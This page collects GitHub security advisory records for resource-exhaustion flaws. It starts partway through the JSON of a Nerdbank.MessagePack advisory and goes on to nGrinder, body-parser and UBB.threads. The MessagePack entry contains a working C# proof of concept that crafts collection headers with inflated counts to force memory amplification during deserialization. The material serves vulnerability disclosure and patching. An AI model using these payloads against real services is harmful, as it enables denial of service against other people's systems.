`JsonNode`, `MessagePackValue`, `object`, or `dynamic` members.\n- Code calling typed `Deserialize\u003cT\u003e()` where `T` contains collection-shaped members.\n- Code calling `DeserializePrimitives()` or `DeserializeDynamicPrimitives()` on untrusted input.\n- Applications registering `WithObjectConverter()` or `WithDynamicObjectConverter()` for framework integration or ad hoc object graphs.\n\n## Severity Rationale\n\n**Attack complexity is low.** Once an application accepts untrusted MessagePack for an affected collection type, exploitation only requires a crafted array or map payload with a large declared count and minimal encoded elements.\n\n**Privileges required depend on deployment.** Public endpoints are exploitable without authentication. Internal or authenticated message-processing systems reduce exposure but remain vulnerable to any caller who can submit MessagePack data.\n\n**User interaction is not required.** The attack is triggered during server-side or service-side deserialization.\n\n**Availability impact is low.** The practical outcome is memory pressure which can slow down a process or machine, or cause a network request to fail.\n\n## Proof of Concept\n\nThe following sample demonstrates the original object/dynamic shape and a typed array shape. Both rely on the same underlying bug: allocation is derived from the MessagePack header count before the elements are consumed.\n\n```csharp\nusing System.Buffers;\nusing System.Buffers.Binary;\nusing Nerdbank.MessagePack;\n\nConsole.WriteLine(\"=== Memory Amplification DoS - Nerdbank.MessagePack ===\");\nConsole.WriteLine();\n\nvar serializer = new MessagePackSerializer();\n\n// 5-byte array32 header + 1 byte per nil element.\n// Deserializing as object?[] allocates one managed reference per element.\nconst int ObjectArrayCount = 1_000_000;\nbyte[] objectArrayPayload = BuildArray32Payload(ObjectArrayCount, 0xC0);\n\nMeasure(\"object?[] array32 nil\", objectArrayPayload, () =\u003e\n{\n    var sequence = new ReadOnlySequence\u003cbyte\u003e(objectArrayPayload);\n    var reader = new MessagePackReader(sequence);\n    return serializer.DeserializePrimitives(ref reader);\n});\n\n// 5-byte array32 header + 1 byte per integer element.\n// A typed int[] target allocates four bytes per element plus array overhead.\nconst int IntArrayCount = 1_000_000;\nbyte[] intArrayPayload = BuildArray32Payload(IntArrayCount, 0x00);\n\nMeasure(\"int[] array32 fixint\", intArrayPayload, () =\u003e\n{\n    var sequence = new ReadOnlySequence\u003cbyte\u003e(intArrayPayload);\n    var reader = new MessagePackReader(sequence);\n    return serializer.Deserialize\u003cint[]\u003e(ref reader);\n});\n\n// 5-byte map32 header + 2 bytes per entry: small fixint key, nil value.\n// Duplicate keys are overwritten later, but the Dictionary capacity allocation fires first.\nconst int MapCount = 100_000;\nbyte[] mapPayload = BuildMap32Payload(MapCount);\n\nMeasure(\"object dictionary map32\", mapPayload, () =\u003e\n{\n    var sequence = new ReadOnlySequence\u003cbyte\u003e(mapPayload);\n    var reader = new MessagePackReader(sequence);\n    return serializer.DeserializePrimitives(ref reader);\n});\n\nstatic void Measure(string name, byte[] payload, Func\u003cobject?\u003e deserialize)\n{\n    GC.Collect();\n    long before = GC.GetTotalMemory(true);\n\n    try\n    {\n        object? result = deserialize();\n        long after = GC.GetTotalMemory(false);\n        long delta = after - before;\n        Console.WriteLine($\"[{name}] payload: {payload.Length / 1024.0:F1} KB\");\n        Console.WriteLine($\"[{name}] memory delta: +{delta / 1024.0 / 1024.0:F1} MB\");\n        Console.WriteLine($\"[{name}] amplification: {(double)delta / payload.Length:F1}x\");\n        GC.KeepAlive(result);\n    }\n    catch (OutOfMemoryException)\n    {\n        Console.WriteLine($\"[{name}] OutOfMemoryException\");\n    }\n    catch (MessagePackSerializationException ex)\n    {\n        Console.WriteLine($\"[{name}] guarded: {ex.Message}\");\n    }\n\n    Console.WriteLine();\n}\n\nstatic byte[] BuildArray32Payload(int count, byte element)\n{\n    byte[] payload = new byte[5 + count];\n    payload[0] = 0xDD;\n    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);\n    payload.AsSpan(5).Fill(element);\n    return payload;\n}\n\nstatic byte[] BuildMap32Payload(int count)\n{\n    byte[] payload = new byte[5 + count * 2];\n    payload[0] = 0xDF;\n    BinaryPrimitives.WriteInt32BigEndian(payload.AsSpan(1), count);\n\n    for (int i = 0; i \u003c count; i++)\n    {\n        payload[5 + i * 2] = (byte)(i % 128);\n        payload[5 + i * 2 + 1] = 0xC0;\n    }\n\n    return payload;\n}\n```\n\nConfirmed output against the vulnerable implementation included object-array amplification around 8x and dictionary amplification above 20x for moderate payload sizes. Typed collection amplification varies by element type and target collection implementation, but the same attacker-controlled preallocation primitive is present.\n\n## Remediation\n\nThe deserializer honors input data\u0027s prefixed collection sizes up to a reasonable limit, after which the collections grow when the data is actually encountered, such that memory amplification is limited to only small amounts over the size of the data being deserialized.\n\n## Prior Art\n\n**CVE-2026-21452 / [GHSA-cw39-r4h6-8j3x](https://github.com/advisories/GHSA-cw39-r4h6-8j3x)**: MessagePack for Java. An EXT32 object with an attacker-controlled payload length caused `ExtensionValue.getData()` to allocate a byte array of that size with no upper bound. This is the same vulnerability class: header-declared size leading to attacker-controlled heap allocation. It was fixed in `msgpack-java` 0.9.11 by avoiding unbounded allocation.\n\n**CVE-2024-48924 / [GHSA-4qm4-8hg2-g2xm](https://github.com/advisories/GHSA-4qm4-8hg2-g2xm)**: MessagePack-CSharp. Untrusted data could trigger denial of service during deserialization through a different mechanism. It demonstrates the same ecosystem-level risk: MessagePack deserializers are frequently reachable on network and message-processing boundaries, where availability defects are exploitable.",
  "id": "GHSA-qjvr-435c-5fjh",
  "modified": "2026-05-29T19:55:09Z",
  "published": "2026-05-29T19:55:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/security/advisories/GHSA-qjvr-435c-5fjh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack/commit/6f19387a3d1322aea880ce3f8db2cfd0de195e12"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AArnott/Nerdbank.MessagePack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nerdbank.MessagePack has a memory amplification DoS in collection deserialization"
}

GHSA-QQ6M-6P3W-4J5W

Vulnerability from github – Published: 2024-03-07 06:30 – Updated: 2024-11-08 18:30
VLAI
Details

nGrinder before 3.5.9 allows to set delay without limitation, which could be the cause of Denial of Service by remote attacker.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-28214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-07T05:15:54Z",
    "severity": "LOW"
  },
  "details": "nGrinder before 3.5.9 allows to set delay without limitation, which could be the cause of Denial of Service by remote attacker.",
  "id": "GHSA-qq6m-6p3w-4j5w",
  "modified": "2024-11-08T18:30:42Z",
  "published": "2024-03-07T06:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28214"
    },
    {
      "type": "WEB",
      "url": "https://cve.naver.com/detail/cve-2024-28214.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QWCR-R2FM-QRC7

Vulnerability from github – Published: 2024-09-10 15:52 – Updated: 2024-09-10 19:01
VLAI
Summary
body-parser vulnerable to denial of service when url encoding is enabled
Details

Impact

body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.

Patches

this issue is patched in 1.20.3

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "body-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.20.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45590"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-10T15:52:39Z",
    "nvd_published_at": "2024-09-10T16:15:21Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nbody-parser \u003c1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.\n\n### Patches\n\nthis issue is patched in 1.20.3\n\n### References\n",
  "id": "GHSA-qwcr-r2fm-qrc7",
  "modified": "2024-09-10T19:01:08Z",
  "published": "2024-09-10T15:52:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/body-parser/security/advisories/GHSA-qwcr-r2fm-qrc7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45590"
    },
    {
      "type": "WEB",
      "url": "https://github.com/expressjs/body-parser/commit/b2695c4450f06ba3b0ccf48d872a229bb41c9bce"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/expressjs/body-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "body-parser vulnerable to denial of service when url encoding is enabled"
}

GHSA-R4CC-XCX2-VP28

Vulnerability from github – Published: 2026-06-18 15:32 – Updated: 2026-06-18 15:32
VLAI
Details

UBB.threads is vulnerable to Denial of Service (DoS). By sending multiple concurrent requests to view any user profile on instances with many registered users, an authenticated attacker can easily exhaust database resources and completely deny access to the application for other users. Because vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 7.7.5 but may also affect other versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-54224"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-405"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-18T14:17:31Z",
    "severity": "HIGH"
  },
  "details": "UBB.threads is vulnerable to Denial of Service (DoS). By sending multiple concurrent requests to view any user profile on instances with many registered users, an authenticated attacker can easily exhaust database resources and completely deny access to the application for other users.\nBecause vendor contact attempts were unsuccessful, the vulnerability has only been confirmed in version 7.7.5 but may also affect other versions.",
  "id": "GHSA-r4cc-xcx2-vp28",
  "modified": "2026-06-18T15:32:02Z",
  "published": "2026-06-18T15:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54224"
    },
    {
      "type": "WEB",
      "url": "https://cert.pl/en/posts/2026/06/CVE-2026-54219"
    },
    {
      "type": "WEB",
      "url": "https://www.ubbcentral.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation
Architecture and Design

An application must make resources available to a client commensurate with the client's access level.

Mitigation
Architecture and Design

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

Mitigation
System Configuration

Consider disabling resource-intensive algorithms on the server side, such as Diffie-Hellman key exchange.

No CAPEC attack patterns related to this CWE.